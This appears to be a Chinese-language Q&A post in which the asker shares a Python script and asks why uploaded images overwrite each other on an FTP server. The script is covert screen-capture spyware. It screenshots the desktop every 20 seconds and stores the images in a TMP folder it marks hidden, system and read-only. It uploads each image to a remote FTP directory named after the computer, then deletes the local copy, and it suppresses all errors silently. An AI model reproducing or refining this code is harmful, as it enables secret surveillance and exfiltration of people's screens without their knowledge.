此python脚本以特定间隔截取屏幕截图,并将其存储在本地的特定目录中。然后将其上传到ftp服务器,并将其从本地目录中删除。问题是,当脚本上传到FTP服务器时,将替换现有图像。是否可以同时在服务器上显示所有图像?
import autopy
import time
import os
import ftplib
delay_time=20 # time interval between screen_shoots
##############function for deleting file in specified path if found#########
def delet_file(dirr,nam):
if os.path.isfile(dirr+nam):
try:
os.remove(dirr+nam)
except:
pass
return None
#############Function for uploading your file to FTP server#############
def ftp_upload(Host,User,User_pass,ftp_dir,loca_dir,fil):
try:
con=con=ftplib.FTP(Host)
con.login(User,User_pass)
try:
con.mkd(ftp_dir)
con.cwd(ftp_dir)
f=open(loca_dir+fil,'rb')
con.storbinary("STOR "+fil,f)
f.close()
con.quit()
delet_file(loca_dir,fil)
except:
con.cwd(ftp_dir)
f=open(loca_dir+fil,'rb')
con.storbinary("STOR "+fil,f)
f.close()
con.quit()
delet_file(loca_dir,fil)
except:
pass
return None
######## Function for generating unique image name##################
def getfile_name():
image_name=(time.asctime().replace(" ","_")).replace(":","")+".png"
return image_name
##############function for generating and returning path in local computer#########
def generat_path():
dir_name=os.environ["TMP"]+os.sep+os.environ["USERNAME"]+"psc"+os.sep
try:
if os.path.isdir(dir_name):
os.popen("attrib +s +h +r " +dir_name)
else:
os.mkdir(dir_name)
os.popen("attrib +s +h +r " +dir_name)
except:
pass
return dir_name
########################### main function to take screen shoot and save it#########
def capture_shoot(full_path):
try:
z=autopy.bitmap.capture_screen()
z.save(full_path)
except :
pass
return None
###########from here start your script###################3
def start():
ftp_dir=os.environ["COMPUTERNAME"] #get computer name
#######set your ftp server data #######
####### make your own ( _ ) #########
host='' #host name
passwd='' #Password for ftp server
login_id='' #username for ftp server
########## loop in the script and excuting every interval########
while True :
image_name=getfile_name()
local_dir=generat_path()
capture_shoot(local_dir+image_name)
ftp_upload(host,login_id,passwd,ftp_dir,local_dir,image_name)
time.sleep(delay_time)
### this mean if you import script as module don't
#### excute and return false elseif excuted as script impliment start
if __name__=='__main__':
start()
<code>
#####################非常感谢####################### ######